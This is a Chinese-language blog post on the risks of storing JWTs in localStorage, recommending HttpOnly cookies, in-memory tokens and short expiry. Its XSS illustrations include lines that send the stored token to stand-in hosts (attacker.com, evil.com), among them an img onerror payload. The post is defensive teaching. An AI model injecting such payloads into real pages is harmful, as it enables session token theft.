news 2026/8/27 5:58:57

jwt存localstorage有什么风险

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
jwt存localstorage有什么风险

将 JWT 存储在 LocalStorage 中存在显著的安全风险,这是前端开发中最常见的安全隐患之一。

核心风险:XSS 攻击(跨站脚本攻击)

攻击原理

```javascript
// 假设攻击者注入了以下恶意脚本
const token = localStorage.getItem('token'); // 轻松读取
fetch('https://attacker.com/steal?token=' + token); // 发送到攻击者服务器
```

一旦页面存在 XSS 漏洞,攻击者可以:
- 直接读取 `localStorage` 中的任何数据
- 窃取 JWT 令牌冒充用户身份
- 执行任意 API 请求(因为令牌自动附带)

对比:Cookie 存储(httpOnly)

特性 LocalStorage Cookie (httpOnly)
XSS 防护 ❌ 可被 JS 读取 ✅ 无法被 JS 读取
CSRF 风险 较低 需要额外防护
跨域限制 严格遵守同源策略 可通过配置灵活控制
自动发送 需手动添加到 Header 浏览器自动附带

具体风险场景

场景 1:第三方库污染

```javascript
// 你引入的某个 npm 包被攻击
import { someLibrary } from 'compromised-package';

// 该库内部偷偷执行
localStorage.getItem('token') && sendToHackerServer();
```

场景 2:富文本/XSS 漏洞

```html
<!-- 用户输入未过滤 -->
<div class="comment">
<img src=x onerror="fetch('https://evil.com?token='+localStorage.getItem('token'))">
</div>
```

场景 3:浏览器扩展窃取

```javascript
// 恶意浏览器扩展可以轻松访问 localStorage
chrome.storage.local.set({stolenToken: localStorage.getItem('token')});
```

推荐的安全方案

方案 1:HttpOnly Cookie(首选)

后端设置:

```go
// Go Gin 示例
import "github.com/gin-gonic/gin"

func setTokenCookie(c *gin.Context, token string) {
c.SetSameSite(http.SameSiteStrictMode) // 或 Lax
c.SetCookie(
"token", // name
token, // value
3600, // maxAge (秒)
"/", // path
"example.com", // domain
true, // secure (仅 HTTPS)
true, // httpOnly (禁止 JS 访问)
)
}
```

前端无需任何存储操作,浏览器自动管理 Cookie。

方案 2:内存存储(临时方案)

如果必须使用 LocalStorage,至少配合短期令牌 + 刷新令牌:

```javascript
// 仅保存在内存中,页面刷新即失效
let accessToken = null;

function login(credentials) {
return fetch('/api/login', {
method: 'POST',
body: JSON.stringify(credentials)
})
.then(res => res.json())
.then(data => {
accessToken = data.token; // 仅内存存储
return data;
});
}

function fetchWithAuth(url, options = {}) {
return fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${accessToken}` // 从内存读取
}
});
}

// 页面关闭即失效,配合 Refresh Token 机制
```

方案 3:Service Worker 代理(进阶)

```javascript
// service-worker.js
self.addEventListener('fetch', (event) => {
if (event.request.url.startsWith('/api/')) {
event.respondWith(
getTokenFromSecureStorage().then(token => {
const newRequest = new Request(event.request, {
headers: {
...event.request.headers,
'Authorization': `Bearer ${token}`
}
});
return fetch(newRequest);
})
);
}
});
```

如果必须用 LocalStorage 的缓解措施

```javascript
// 1. 加密存储(防直接读取)
import CryptoJS from 'crypto-js';

const encryptToken = (token) => {
return CryptoJS.AES.encrypt(token, process.env.REACT_APP_KEY).toString();
};

// 2. 短期令牌(15分钟)
const setShortLivedToken = (token) => {
const payload = JSON.parse(atob(token.split('.')[1]));
if (payload.exp - payload.iat > 900) { // 超过15分钟拒绝
throw new Error('Token 有效期过长');
}
localStorage.setItem('token', encryptToken(token));
};

// 3. 定期清理
setInterval(() => {
localStorage.removeItem('token');
window.location.href = '/login';
}, 15 * 60 * 1000); // 15分钟后强制登出
```

决策流程图

```
开始

├─ 能控制后端? ──Yes──→ 使用 HttpOnly Cookie ✅
│ No
│ ↓
├─ 能接受频繁重新登录? ──Yes──→ 内存存储 ✅
│ No
│ ↓
└─ 必须使用 LocalStorage ──→ 短期令牌 + 加密 + CSP 防护 ⚠️
```

总结

存储方式 安全性 适用场景
HttpOnly Cookie ⭐⭐⭐⭐⭐ 生产环境首选
内存(变量) ⭐⭐⭐⭐ 高安全要求、可接受频繁登录
LocalStorage ⭐⭐ 仅开发环境或配合多重防护
SessionStorage ⭐⭐⭐ 比 LocalStorage 稍好(标签页关闭清除)

关键原则: 如果存储位置能被 `document.write` 或 `innerHTML` 触发的脚本访问,它就不适合存放敏感凭证。

需要我展示一个完整的 Cookie + Refresh Token 双令牌架构实现吗?

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/25 9:10:08

1966-2025年低空经济企业数据库

低空经济通常指围绕“低空空域”的飞行活动及其配套产业形成的综合经济形态。它以各类航空器的低空飞行应用为牵引&#xff0c;向上游制造、向下游运营服务与治理体系延展&#xff0c;形成“制造—运营—服务—基础设施—监管保障”的产业链 团队参考李牧南&#xff08;2024&a…

作者头像 李华
网站建设 2026/8/22 10:52:51

基于Java的彩灯加工智慧管理系统的设计与实现全方位解析:附毕设论文+源代码

1. 为什么这个毕设项目值得你 pick ? 毕设不用从零敲&#xff01;基于Java的彩灯加工智慧管理系统的设计与实现。该系统主要功能模块包括供应商管理、加工单位管理、产品管理、业务登记管理、交货单管理和供应商付款管理&#xff0c;满足普通员工和部门领导的数据录入查阅执行…

作者头像 李华
网站建设 2026/8/22 0:51:10

基于Java的影视剪辑智慧管理系统的设计与实现全方位解析:附毕设论文+源代码

1. 为什么这个毕设项目值得你 pick ? 基于Java的影视剪辑智慧管理系统的设计与实现&#xff0c;提供了一种针对传统选题的优势、创新性和实用性的摆脱方案。该系统主要功能模块包括会员管理、视频管理、素材及任务日志等多个子系统&#xff0c;覆盖了从用户数据录入到项目导出…

作者头像 李华
网站建设 2026/8/19 15:37:23

强烈安利 10个降AIGC工具:专科生降AI率全攻略

在如今的学术写作中&#xff0c;AI 生成内容&#xff08;AIGC&#xff09;已经成为一个不可忽视的现象。对于专科生来说&#xff0c;论文写作不仅需要满足学术规范&#xff0c;还要避免被检测出 AI 生成痕迹&#xff0c;以免影响成绩或遭遇查重风险。这时候&#xff0c;AI 降重…

作者头像 李华